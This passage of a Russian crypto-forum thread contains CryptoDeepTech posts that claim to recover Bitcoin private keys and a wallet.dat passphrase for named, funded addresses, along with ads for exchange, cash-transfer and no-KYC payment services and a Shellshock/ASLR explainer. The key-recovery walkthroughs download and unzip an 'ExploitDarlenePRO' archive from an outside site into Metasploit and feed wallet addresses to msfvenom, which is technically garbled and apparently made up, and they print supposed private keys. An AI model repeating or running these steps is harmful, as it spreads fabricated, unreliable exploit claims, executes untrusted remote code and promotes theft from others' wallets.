виртуальной машины. Запустим команды: !ip addr !hostname -I Воспользуемся инструментом для создания полезной нагрузки MSFVenom Для эксплуатации выбираем Биткоин Кошелек: 12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2 https://btc1.trezor.io/address/12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2 Команда запуска: !./msfvenom 12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2 -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o main.rb -p libbitcoin-system/src/crypto LHOST=172.28.0.12 -f CPP -o pseudo_random.cpp Результат: 1100001100100111111110101100011000111101101101111110000011001100110100010111000001101100000000111110101101011011111000001101101100101010101100111110001101111010010001010001101110000100000001010100000100000000110110000101111100110001010011100000111110001011 Полученный бинарный формат нам необходимо сохранить в файл: binary.txt воспользуемся утилитой echo Команда: !echo '1100001100100111111110101100011000111101101101111110000011001100110100010111000001101100000000111110101101011011111000001101101100101010101100111110001101111010010001010001101110000100000001010100000100000000110110000101111100110001010011100000111110001011' > binary.txt Конвертируем бинарный формат в HEX-формат для получение приватного ключа Биткоин Кошелька: Воспользуемся кодом: binaryFile = open("binary.txt", "r") binaryFile = binaryFile.readlines() hexFile = open("hex.txt", "w+") # loop through each line of binaryFile then convert and write to hexFile for line in binaryFile: binaryCode = line.replace(" ", "") hexCode = hex(int(binaryCode, 2)) hexCode = hexCode.replace("0x", "").upper().zfill(4) hexFile.write(hexCode + "\n") # close hexFile hexFile.close() Откроем файл: hex.txt cat hex.txt C327FAC63DB7E0CCD1706C03EB5BE0DB2AB3E37A451B84054100D85F314E0F8B Приватный Ключ Найден! Установим модуль Bitcoin !pip3 install bitcoin Запустим код для проверки соответствие Биткоин Адреса: from bitcoin import * with open("hex.txt","r") as f: content = f.readlines() # you may also want to remove whitespace characters like `\n` at the end of each line content = [x.strip() for x in content] f.close() outfile = open("privtoaddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() Откроем файл: privtoaddr.txt cat privtoaddr.txt Результат: C327FAC63DB7E0CCD1706C03EB5BE0DB2AB3E37A451B84054100D85F314E0F8B:12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2 Откроем bitaddress и проверим: ADDR: 12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2 WIF: L3m4xHPEnE2yM1JVAY2xTzraJsyPERxw2Htt3bszbTiDn5JiZCcy HEX: C327FAC63DB7E0CCD1706C03EB5BE0DB2AB3E37A451B84054100D85F314E0F8B https://www.blockchain.com/en/explorer/addresses/btc/12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2 BALANCE: $ 40886.76 Рассмотрим второй пример: №2 Рассмотрим второй пример извлечение приватного ключа Биткоин Кошелька с помощью уязвимости в библиотеке Libbitcoin Explorer 3.x, https://btc1.trezor.io/address/1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe Снова воспользуемся уязвимым файлом: pseudo_random.cpp Команда запуска: !./msfvenom 1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o main.rb -p libbitcoin-system/src/crypto LHOST=172.28.0.12 -f CPP -o pseudo_random.cpp Результат: 111100100010010000111110010011001000101100111100000101110100001001100001011010111111110110111111100001000100011111001010000011011101001000101000100001100111001010100110101101001100011001001111101101010000000011101101111111110101101110110100110000110111100 Полученный бинарный формат нам необходимо сохранить в файл: binary.txt воспользуемся утилитой echo Команда: !echo '111100100010010000111110010011001000101100111100000101110100001001100001011010111111110110111111100001000100011111001010000011011101001000101000100001100111001010100110101101001100011001001111101101010000000011101101111111110101101110110100110000110111100' > binary.txt Конвертируем бинарный формат в HEX-формат для получение приватного ключа Биткоин Кошелька: Воспользуемся кодом: binaryFile = open("binary.txt", "r") binaryFile = binaryFile.readlines() hexFile = open("hex.txt", "w+") # loop through each line of binaryFile then convert and write to hexFile for line in binaryFile: binaryCode = line.replace(" ", "") hexCode = hex(int(binaryCode, 2)) hexCode = hexCode.replace("0x", "").upper().zfill(4) hexFile.write(hexCode + "\n") # close hexFile hexFile.close() Откроем файл: hex.txt cat hex.txt 79121F26459E0BA130B5FEDFC223E506E9144339535A6327DA8076FFADDA61BC Приватный Ключ Найден! Запустим код для проверки соответствие Биткоин Адреса: from bitcoin import * with open("hex.txt","r") as f: content = f.readlines() # you may also want to remove whitespace characters like `\n` at the end of each line content = [x.strip() for x in content] f.close() outfile = open("privtoaddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() Откроем файл: privtoaddr.txt cat privtoaddr.txt 79121F26459E0BA130B5FEDFC223E506E9144339535A6327DA8076FFADDA61BC:1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe Результат: 79121F26459E0BA130B5FEDFC223E506E9144339535A6327DA8076FFADDA61BC:1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe Откроем bitaddress и проверим: ADDR: 1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe WIF: L1H4Eu2et8TWYQ3kv9grtPGshikGN398MVJkN6zYMikcpQTB96UN HEX: 79121F26459E0BA130B5FEDFC223E506E9144339535A6327DA8076FFADDA61BC https://www.blockchain.com/en/explorer/addresses/btc/1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe BALANCE: $ 19886.91 References: [1] Mersenne Twister – A Pseudo Random Number Generator and its Variants (Archana Jagannatam) [2] RFC 8682 TinyMT32 Pseudorandom Number Generator [PRNG] (M. Saito Hiroshima University M. Matsumoto Hiroshima University V. Roca, Ed. INRIA E. Baccelli) [3] Introduction to Mersenne Twister Pseudorandom number generator Qiao Zhou [June 30, 2016] [4] High-Performance Pseudo-Random Number Generation on Graphics Processing Units (Nimalan Nandapalan , Richard P. Brent , Lawrence M. Murray , and Alistair Rendell) [5] The Mersenne Twister Output Stream Postprocessing (Yurii Shcherbyna , Nadiia Kazakova , Oleksii Fraze-Frazenko) [6] Cellular Automaton–Based Emulation of the Mersenne Twister (Kamalika Bhattacharjee, Nitin More, Shobhit Kumar Singh, Nikhil Verma) [7] Generating Efficient and High-Quality Pseudo-Random Behavior on Automata Processors (Jack Wadden, Nathan Brunelle, Ke Wang, Mohamed El-Hadedy, Gabriel Robins, Mircea Stan and Kevin Skadron) Исходный код Telegram: https://t.me/cryptodeeptech Видеоматериал: https://dzen.ru/video/watch/65478a2f6d9f3f7ec9641804 Источник: https://cryptodeep.ru/milk-sad-vulnerability-in-libbitcoin-explorer Криптоанализ
  12. Всем привет! Приглашаем воспользоваться нашим сервисом по обмену криптовалют и перемещению наличных. Чем занимаемся: Покупка/продажа криптовалют за гривну (UAH) в автоматическом режиме через сайт Покупка/продажа криптовалют за наличные (UAH, USD, EUR) в Украине, Европе, Северной Америке и Азии Перемещение наличными между городами Украины и ряда стран мира Что предлагаем: Автоматический обмен криптовалют на сайте 24/7 Актуальные и конкурентоспособные тарифы Индивидуальные условия на больших объемах Конфиденциальность и безопасность операций Высокая скорость обработки заявок Клиентоориентированная команда проекта AML - вопросы и ответы: 1) - При обменах, принимаете ли вы криптовалюту клиента на свой локальный кошелек, или сразу на биржевой аккаунт? - Средства принимаем на биржевой аккаунт. 2) - Какой процент общего риска по AML считаете допустимым, до скольки % включительно? - Допустимый риск скор адреса до 70%, а также отсутствует связь адреса с подсанкционными сервисами 3) - Какой процент «красного» риска по AML (высокорискованные компоненты транзакции) вы считаете допустимым, до скольки % включительно? (речь о доле в общей сумме) - Учитывается общий риск скор адреса, а не отдельная его часть. Общий риск скор не должен превышать 70% и исключать связь с подсанкционными сервисами 4) - Что будет с клиентом и его монетами при превышении риска (если вы заметили грязь на своем локальном кошельке), или если ваша биржа заблочила монеты (если вы принимали сразу на биржу)? - Средства будут заморожены и попадут под рассмотрения AML специалистами биржи. Необходимо будет предоставить дополнительную верификацию для их разморозки. Контакты: Наш сайт: https://www.dvizh.com Telegram: https://t.me/dvizh_crypto Бот с живыми специалистами: https://t.me/dvizh_crypto_bot Email: dvizh.cryptoexchange@gmail.com Где работаем: Украина (Киев, Одесса, Днепр, Харьков, Львов, Запорожье, Винница, Черновцы, Ровно, Ужгород, Кривой Рог, Кременчуг, Хмельницкий, Луцк, Ивано-Франковск, Полтава, Черкассы, Житомир, Тернополь, Кропивницкий, Чернигов, Сумы) Европа: Чехия – Прага Англия – Лондон Австрия – Вена Болгария – София, Варна Германия – Берлин, Мюнхен, Дрезден, Дюссельдорф, Кёльн, Дортмунд Голландия – Амстердам Испания – Барселона, Мадрид, Малага, Марбелья Кипр – Лимассол Польша – Варшава, Краков Румыния – Бухарест Португалия – Лиссабон Словакия – Братислава Латвия – Рига Литва – Вильнюс Словения – Любляна Азия: ОАЭ – Дубай Турция – Стамбул, Анталия, Анкара, Аланья Китай – Шэньчжэнь, Гуанчжоу Грузия – Тбилиси, Батуми Казахстан – Алматы Узбекистан – Ташкент Северная Америка: США – Лос-Анджелес, Майами, Нью-Йорк Канада – Торонто, Монреаль, Ванкувер Отзывы на BestChange: https://www.bestchange.com/dvizh-exchanger.html UPDATE: С начала августа 2023 года наш обменный пункт был успешно добавлен на мониторинг курсов обменников exchangesumo.com.
  13. CRYPTO DEEP TECH В этой статье мы воспользуемся классификацией распространенных шаблонов атак из ресурса кибербезопасности [CAPEC™]. В первые об “Padding Oracle Attack” на Wallet.dat заговорили в далеком 2012 году (на платформе по управления уязвимостями и анализа угроз “VulDB”). Проблема самого популярного кошелька Bitcoin Core влияет на работу AES Encryption Padding в файле Wallet.dat Технические подробности данной атаки известны: https://en.wikipedia.org/wiki/Padding_oracle_attack Процесс Padding Oracle Attack на Wallet.dat Перейдем к практической части и выполним ряд действии через эксплойт, чтобы в процессе заполнить оракул в файле Wallet.dat и в конечном итоге найти необходимый нам пароль в бинарном формате. Capture The Flag (CTF) Раннее исследователи и участники турнира CTF выложили в публичный доступ взломанный [ wallet.dat 2023 года] Биткоин Кошелек: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b на сумму: 44502.42 долларов США // БИТКОИН: 1.17461256 BTC https://btc1.trezor.io/address/1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b Перейдем по ссылке на releases Bitcoin Core version 22.1 https://github.com/bitcoin/bitcoin/releases Index of /bin/bitcoin-core-22.1/ ../ test.rc1/ 08-Nov-2022 18:08 - test.rc2/ 28-Nov-2022 09:39 - SHA256SUMS 14-Dec-2022 17:59 2353 SHA256SUMS.asc 14-Dec-2022 17:59 10714 SHA256SUMS.ots 14-Dec-2022 17:59 538 bitcoin-22.1-aarch64-linux-gnu.tar.gz 14-Dec-2022 17:59 34264786 bitcoin-22.1-arm-linux-gnueabihf.tar.gz 14-Dec-2022 18:00 30424198 bitcoin-22.1-osx-signed.dmg 14-Dec-2022 18:00 14838454 bitcoin-22.1-osx64.tar.gz 14-Dec-2022 18:00 27930578 bitcoin-22.1-powerpc64-linux-gnu.tar.gz 14-Dec-2022 18:00 39999102 bitcoin-22.1-powerpc64le-linux-gnu.tar.gz 14-Dec-2022 18:00 38867643 bitcoin-22.1-riscv64-linux-gnu.tar.gz 14-Dec-2022 18:01 34114511 bitcoin-22.1-win64-setup.exe 14-Dec-2022 18:01 18771672 bitcoin-22.1-win64.zip 14-Dec-2022 18:01 34263968 bitcoin-22.1-x86_64-linux-gnu.tar.gz 14-Dec-2022 18:01 35964880 bitcoin-22.1.tar.gz 14-Dec-2022 18:01 8122372 bitcoin-22.1.torrent 14-Dec-2022 18:01 49857 Установить Bitcoin Core version 22.1 ОБЯЗАТЕЛЬНО! Перезагрузите программу QT // Запустите обратно Bitcoin Core Нажимаем клавиши: Ctrl + Q Проверим через команду getaddressinfo Биткоин Кошелек: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b getaddressinfo "address" Return information about the given bitcoin address. Some of the information will only be present if the address is in the active wallet. Запустим команду: getaddressinfo 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b Результат: { "address": "1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b", "scriptPubKey": "76a9147774801e52a110aba2d65ecc58daf0cfec95a09f88ac", "ismine": true, "solvable": true, "desc": "pkh([7774801e]02ad103ef184f77ab673566956d98f78b491f3d67edc6b77b2d0dfe3e41db5872f)#qzqmjdel", "iswatchonly": false, "isscript": false, "iswitness": false, "pubkey": "02ad103ef184f77ab673566956d98f78b491f3d67edc6b77b2d0dfe3e41db5872f", "iscompressed": true, "ischange": false, "timestamp": 1, "labels": [ "" ] } Запустим команду dumpprivkey для получения приватного ключа к Биткоин Кошельку: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b dumpprivkey "address" Reveals the private key corresponding to 'address'. Then the importprivkey can be used with this output Запустим команду: dumpprivkey 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b Результат: Error: Please enter the wallet passphrase with walletpassphrase first. (code -13) passphrase ?!?!? passphrase ?!?!? passphrase ?!?!? Запустим Padding Oracle Attack на Wallet.dat и расшифруем пароль в бинарный формат, для этого нам понадобится установить репозитории Bitcoin Core integration/staging tree для этого вы можете открыть готовый файл от Jupyter Notebook и загрузить в блокнот Google Colab ) https://colab.research.google.com/drive/1rBVTPyePTMjwXganiwkHfz59vcAtN5Wt https://github.com/demining/CryptoDeepTools/tree/main/27PaddingOracleAttackonWalletdat Padding_Oracle_Attack_on_Wallet_dat.ipynb Установим Ruby в Google Colab !sudo apt install ruby-full !ruby --version Версия ruby 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux-gnu] !gem install bitcoin-ruby !gem install ecdsa !gem install base58 !gem install crypto !gem install config-hash -v 0.9.0 Установим Metasploit Framework и воспользуемся MSFVenom !git clone https://github.com/rapid7/metasploit-framework.git ls cd metasploit-framework/ ls Опции: !./msfvenom -help Установим Bitcoin Core integration/staging tree в Google Colab: !git clone https://github.com/bitcoin/bitcoin.git ls Перейдем по каталогу к файлу: aes.cpp для интеграции эксплойта для запуска Padding Oracle Attack на Wallet.dat cd bitcoin/src/crypto/ ls Откроем файл: aes.cpp через утилиту cat cat aes.cpp Для проведения атаки загрузим файл: wallet.dat в каталог: bitcoin/src/crypto/ !wget https://github.com/demining/CryptoDeepTools/raw/29bf95739c7b7464beaeb51803d4d2e1605ce954/27PaddingOracleAttackonWalletdat/wallet.dat ls Перейдем обратно к Metasploit Framework cd / cd content/metasploit-framework/ ls Откроем папки по каталогу: /modules/exploits/ ExploitDarlenePRO Загрузим "ExploitDarlenePRO" по каталогу: /modules/exploits/ cd modules/ ls cd exploits/ !wget https://darlene.pro/repository/fe9b4545d58e43c1704b0135383e5f124f36e40cb54d29112d8ae7babadae791/ExploitDarlenePRO.zip Разархивируем содержимое ExploitDarlenePRO.zip через утилиту unzip !unzip ExploitDarlenePRO.zip Перейдем по каталогу: /ExploitDarlenePRO/ ls cd ExploitDarlenePRO/ ls Для запуска эксплойта перейдем обратно к Metasploit Framework cd / cd content/metasploit-framework/ ls Нам необходимо определить наш LHOST (Local Host) наш IP-address атакующей виртуальной машины. Запустим команды: !ip addr !hostname -I Воспользуемся инструментом для создания полезной нагрузки MSFVenom Для эксплуатации выбираем Биткоин Кошелек: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b https://btc1.trezor.io/address/1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b Команда запуска: !./msfvenom 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o decode_core.rb -p bitcoin/src/crypto LHOST=172.28.0.12 -f CPP -o aes.cpp -p bitcoin/src/crypto LHOST=172.28.0.12 -f DAT -o wallet.dat Результат: 1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101 Полученный бинарный формат нам необходимо сохранить в файл: walletpassphrase.txt воспользуемся Python-скриптом. Команда: import hashlib Binary = "1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101" f = open("walletpassphrase.txt", 'w') f.write("walletpassphrase " + Binary + " 60" + "\n") f.write("" + "\n") f.close() Откроем файл: walletpassphrase.txt ls cat walletpassphrase.txt Результат: walletpassphrase 1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101 60 Пароль для доступа к приватному ключу найден! Команды: walletpassphrase 1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101 60 dumpprivkey 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b KyAqkBWTbeR3w4RdzgT58R5Rp7RSL6PfdFDEkJbwjCcSaRgqg3Vz Приватный Ключ Получен! pip3 install bitcoin-utils Запустим код для проверки соответствие Биткоин Адреса: Private key WIF: KyAqkBWTbeR3w4RdzgT58R5Rp7RSL6PfdFDEkJbwjCcSaRgqg3Vz Public key: 02ad103ef184f77ab673566956d98f78b491f3d67edc6b77b2d0dfe3e41db5872f Address: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b Hash160: 7774801e52a110aba2d65ecc58daf0cfec95a09f -------------------------------------- The message to sign: CryptoDeepTech The signature is: ILPeG1ThZ0XUXz3iPvd0Q6ObUTF7SxmnhUK2q0ImEeepcZ00npIRqMWOLEfWSJTKd1g56CsRFa/xI/fRUQVi19Q= The signature is valid! Откроем bitaddress и проверим: ADDR: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b WIF: KyAqkBWTbeR3w4RdzgT58R5Rp7RSL6PfdFDEkJbwjCcSaRgqg3Vz HEX: 3A32D38E814198CC8DD20B49752615A835D67041C4EC94489A61365D9B6AD330 https://www.blockchain.com/en/explorer/addresses/btc/1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b BALANCE: $ 44502.42 References: [1] Practical Padding Oracle Attacks (Juliano Rizzo Thai Duong) [2010] [2] Efficient Padding Oracle Attacks on Cryptographic Hardware (Romain Bardou, Riccardo Focardi, Yusuke Kawamoto, Lorenzo Simionato, Graham Steel, Joe-Kai Tsay) [3] Security Flaws Induced by CBC Padding Applications to SSL, IPSEC, WTLS… (Serge Vaudenay) [4] Padding Oracle Attack on PKCS#1 v1.5: Can Non-standard Implementation Act as a Shelter (Si Gao, Hua Chen, and Limin Fan) [5] Attacks and Defenses (Dr. Falko Strenzke) [2020] [6] CBC padding oracle attacks [2023] [7] Fun with Padding Oracles (Justin Clarke) [OWASP London Chapter] [8] Practical Padding Oracle Attacks on RSA (Riccardo Focardi) [9] The Padding Oracle Attack (Fionn Fitzmaurice) [2018] [10] Exploiting CBC Padding Oracles Eli Sohl [2021] [11] Partitioning Oracle Attacks (Julia Len, Paul Grubbs, Thomas Ristenpart) [Cornell Tech] [12] Padding and CBC Mode (David Wagner and Bruce Schneider) [1997] [13] Padding Oracle Attacks (methodology) [14] Padding Oracle Attack (Introduction Packet Encryption Mode CTF Events) Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов. Исходный код Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/0aCfT-kCRlw Источник: https://cryptodeep.ru/padding-oracle-attack-on-wallet-dat Криптоанализ
  14. Мы сделали прием платежей в криптовалютах простым и абсолютно безопасным. Полностью исключена третья сторона и все платежи поступают сразу на ваши кошельки. Почему вам обязательно надо подключить прием крипто платежей через Paysover: Тупо выгодно Нет никаких комиссий Отсутствие проверок, KYC и прочего. Полная безопасность Платежи поступают сразу на ваши собственные кошельки (исключен фактор доверия). Адреса кошельков подгружаются на вашей стороне (исключена подмена). Солидный вид перед клиентом Нет перехода на сторонний сайт. Все действия выполняются прямо на вашем сайте. Нет обязательного брендирования, форму оплаты можно кастомизировать как угодно. Все нужные криптовалюты Основной упор мы делаем на стейблкоины. USDT, USDC, BUSD, DAI, TUSD, USDD и еще 20+ криптовалют в сетях: Ethereum, Binance Smart Chain, Polygon, Arbitrum, Optimism, Solana, Tron. А также классика: BTC, LTC, BCH, DOGE Работаем над интеграцией новых сетей и криптовалют. Легко подключить Подключить сайт, приложение или бот к нашим API не составит особого труда. Также, сейчас мы работаем над созданием плагинов/модулей для различных CMS. Некоторые уже готовы (обращайтесь, предоставим) С плагином подключение и настройка занимает считанные минуты. Шикарная партнерская программа 30% от ваших прямых рефералов, и 50% от дохода приведенных вами партнеров. Плюшки Месяц базового тарифа бесплатно по промо коду: BASE Скидка 70% на премиум тариф по промо коду: PREMIUM Контакты Сайт: https://paysover.com E-mail: paysover@proton.me Telegram: https://t.me/paysover
  15. ?Мгновенно переведем ваши деньги во многих странах мира: Список направлений приема/ выдачи наличных ? Россия - ОАЭ и обратно Россия - Турция и обратно Россия - Казахстан и обратно Города приема / выдачи❗️ Россия - Москва, Санкт-Петербург, Новсибирск, Казань, Сочи, Краснодар. Остальные города где есть аэропорт по запросу Турция: Стамбул, Анталия, Кемер, Алания ОАЭ - Дубай, Абу-Даби Остальные страны по запросу Список направлений приема/выдачи по банковским картам ??Россия ??Казахстан ??Украина ??Турция??Узбекистан ??Азербайджан ??Арабские Эмираты??Индонезия??Пакистан ??Египет??Киргизия??Вьетнам??Саудовская Аравия ??Таджикистан??Молдова??Бангладеш Комиссия за перевод самая минимальная % Наши преимущества: ✔️Комиссия от 0% ✔️Возможность доставки ✔️Время сделки не больше 15 минут ✔️Поддержка с вами 24/7 на 7 языках
  16. CRYPTO DEEP TECH В этой статье мы рассмотрим серию программных уязвимостей на веб-сервера, обнаруженных в программе GNU Bash . Множество интернет-сервисов, в том числе веб-сервера блокчейна Биткоин, используют Bash для обработки некоторых запросов, например при исполнении CGI–скриптов. Уязвимость позволяет атакующему исполнять произвольные команды, получив неправомерный доступ к компьютерным системам, что позволяет злоумышленнику извлекать приватные ключи и скрытые данные сервера. Shellshock — это не что иное, как уязвимость удаленного выполнения кода в bash. Это связано с тем, что bash неправильно выполняет завершающие команды при импорте определения функции, хранящегося в переменной среды. GitHub BugShellshock влияет на Bash. Bash — это программа, которую различные системы на базе Unix используют для выполнения командных строк и командных сценариев. Баг была обнаружена 5 августа 1989 года и выпущена в версии Bash 1.03 1 сентября 1989 года. Shellshock — это уязвимость повышения привилегий, которая дает пользователям системы возможность выполнять команды, которые должны быть для них недоступны. Уязвимости заключаются в том, что Bash вопреки задекларированным возможностям производит исполнение команд при получении некоторых нестандартных значений переменных окружения (environment). За несколько дней после публикации оригинальной уязвимости было обнаружено несколько сходных ошибок, что не позволило оперативно издать версию с исправлениями. Stéphane Chazelas Изначальная ошибка была обнаружена Стефаном Шазеля (фр. Stéphane Chazelas) 12 сентября 2014 года, который предложил назвать её «bashdoor» (созвучно backdoor). Уязвимость получила в базе MITRE номер CVE-2014-6271 и оставалась неопубликованной (находилась под эмбарго) до 14 часов по UTC 24 сентября. Цель вышеуказанного ограничения заключалась в том, что авторы программы, создатели дистрибутивов и иные заинтересованные организации получили время принять необходимые меры. Анализ исходного кода Bash свидетельствует, что уязвимость была заложена в код приблизительно в версии 1.13 в 1992 году или ранее и с тех пор оставалась необнаруженной среди общей публики и незадекларированной. Группа авторов Bash затрудняется в определении точного времени внедрения ошибки из-за недостаточно подробной истории изменений (changelog). Security Experts Expect ‘Shellshock’ Software Bug in Bash to Be Significant 25 сентября 2014 года на базе уязвимости уже были созданы ботнеты для проведения DoS- и DDoS-атак, а также для сканирования уязвимостей. Предполагается, что уязвимы миллионы систем. Ошибка получила максимальную оценку по шкале опасности и сравнивается по значению с Heartbleed — ошибкой в OpenSSL (апрель 2014) Уязвимость Shellshock (bashdoor) относится к программе bash (разрабатывается в рамках проекта GNU), используемой во множестве Unix-подобных операционных систем и дистрибутивов в качестве интерпретатора командной строки и для исполнения командных скриптов. Часто устанавливается в качестве системного интерпретатора по умолчанию. В Unix-подобных и других поддерживаемых bash операционных системах каждая программа имеет список пар имя-значение, называемый переменными среды (англ. environment variable). Когда одна программа запускает другую, то также передается изначальный список переменных среды. Кроме переменных среды, bash также поддерживает внутренний список функций — именованных скриптов, которые могут вызываться из исполняемого скрипта bash. При запуске новых экземпляров bash из существующего bash возможна передача (экспортирование, export) значений существующих переменных окружения и определений функций в порождаемый процесс. Определения функций экспортируются путём кодирования их в виде новых переменных окружения специального формата, начинающегося с пустых скобок (), за которыми следует определение функции в виде строки. Новые экземпляры bash при своем запуске сканируют все переменные среды, детектируя данный формат и преобразовывая его обратно в определение внутренней функции. Данное преобразование проводится путём создания фрагмента bash-кода на базе значения переменной среды и его исполнения, то есть «на лету» (англ. on-the-fly). Подверженные уязвимости версии bash не производят проверок, что исполняемый фрагмент содержит лишь определение функции. Таким образом, если злоумышленник имеет возможность подать произвольную переменную среды в запуск bash, то появляется возможность исполнения произвольных команд. 27 сентября был опубликован качественный патч, который добавляет ко всем экспортируемым и импортируемым функциям специальный префикс при их преобразовании в переменные окружения и обратно[15]. В тот же день, когда была опубликована информация об оригинальной уязвимости и патчи, исправляющие её, Tavis Ormandy обнаружил новую родственную ошибку CVE-2014-7169. Обновлённые исправления стали доступны 26 сентября. Во время работы над исправлением оригинальной ошибки Shellshock, исследователь компании Red Hat, Florian Weimer обнаружил ещё две ошибки: CVE-2014-7186 и CVE-2014-7187. 26 сентября 2014 два разработчика open-source, David A. Wheeler и Norihiro Tanaka заметили, что существуют дополнительные проблемы, всё ещё не исправленные патчами, доступными на тот момент. В своём электронном письме в почтовые списки рассылок «oss-sec» и «bash bug» Wheeler писал: 27 сентября 2014, Michal Zalewski анонсировал, что обнаружил несколько других ошибок в bash, одна из которых использует то, что bash часто компилируется без использования техники защиты ASLR (Address Space Layout Randomization). Zalewski также призвал срочно применить патч от Florian Weimer. Рандомизация адресного пространства препятствует некоторым типам атак на безопасность, усложняя злоумышленнику предсказание целевых адресов. Например, злоумышленники, пытающиеся выполнить атаку с возвратом в библиотеку[Return-to-libc_attack], должны найти код, который будет выполнен, в то время как другие злоумышленники, пытающиеся выполнить Shellcode, внедренный в стек, должны сначала найти стек. В обоих случаях система скрывает от злоумышленников соответствующие адреса памяти. Эти значения необходимо угадать, а ошибочное предположение обычно невозможно исправить из-за сбоя приложения. Рандомизация макета адресного пространства основана на низкой вероятности того, что злоумышленник угадает расположение случайно расположенных областей. Безопасность повышается за счет увеличения пространства поиска. Таким образом, рандомизация адресного пространства более эффективна, когда в случайных смещениях присутствует большая энтропия . Энтропия увеличивается либо за счет увеличения объема области виртуальной памяти , в которой происходит рандомизация, либо за счет уменьшения периода, в течение которого происходит рандомизация. Период обычно реализуется как можно меньшим, поэтому большинство систем должны увеличить рандомизацию пространства VMA. Чтобы обойти рандомизацию, злоумышленники должны успешно угадать позиции всех областей, которые они хотят атаковать. Для таких областей данных, как стек и куча, куда можно загрузить собственный код или полезные данные, можно атаковать более одного состояния с помощью слайдов NOP для кода или повторяющихся копий данных. Это позволяет атаке добиться успеха, если область рандомизирована по одному из нескольких значений. Напротив, такие области кода, как база библиотеки и основной исполняемый файл, должны быть точно обнаружены. Часто эти области смешиваются, например, в стек вставляются кадры стека , а в него возвращается библиотека. The following variables can be declared: {\displaystyle E_{s}} (entropy bits of stack top) {\displaystyle E_{m}} (entropy bits of mmap() base) {\displaystyle E_{x}} (entropy bits of main executable base) {\displaystyle E_{h}} (entropy bits of heap base) {\displaystyle A_{s}} (attacked bits per attempt of stack entropy) {\displaystyle A_{m}} (attacked bits per attempt of mmap() base entropy) {\displaystyle A_{x}} (attacked bits per attempt of main executable entropy) {\displaystyle A_{h}} (attacked bits per attempt of heap base entropy) {\displaystyle \alpha } (attempts made) {\displaystyle N} (total amount of entropy: {\displaystyle N=(E_{s}-A_{s})+(E_{m}-A_{m})+(E_{x}-A_{x})+(E_{h}-A_{h})\,}) Чтобы вычислить вероятность успеха злоумышленника, мы должны предположить, что количество попыток α было выполнено без прерывания сигнатурной IPS, правоохранительными органами или другим фактором; в случае брутфорса демон не может быть перезапущен. Нам также необходимо выяснить, сколько бит имеет значение и сколько подвергается атаке при каждой попытке, оставляя столько битов, которые атакующий должен победить. Следующие формулы представляют вероятность успеха для данного набора α -попыток на N битах энтропии. Во многих системах{\displaystyle 2^{N}}могут исчисляться тысячами или миллионами; в современных 64-битных системах эти числа обычно достигают как минимум миллионов, Hector Marco-Gisbert and Ismael Ripoll показали в 2014 году, как обойти ASLR в 64-битных системах менее чем за одну секунду при определенных обстоятельствах. On the Effectiveness of Full-ASLR on 64-bit Linux Для 32-битных систем на компьютерных скоростях 2004 года, которые имеют 16 бит для рандомизации адресов, Шачам и его коллеги утверждают, что «… 16 бит рандомизации адресов можно преодолеть с помощью грубой атаки Brute-force attack за считанные минуты». Заявление авторов зависит от возможности атаковать одно и то же приложение несколько раз без каких-либо задержек. Правильные реализации ASLR, например, включенные в grsecurity, предоставляют несколько способов сделать такие атаки методом перебора невозможными. Один из методов предполагает предотвращение выполнения исполняемого файла в течение настраиваемого периода времени, если он произошел сбой определенное количество раз. Android, и, возможно, другие системы, реализовать рандомизацию порядка загрузки библиотек — форму ASLR, которая рандомизирует порядок загрузки библиотек. Это обеспечивает очень небольшую энтропию. Ниже приведено приблизительное количество бит энтропии, предоставленной для каждой необходимой библиотеки; это еще не учитывает различные размеры 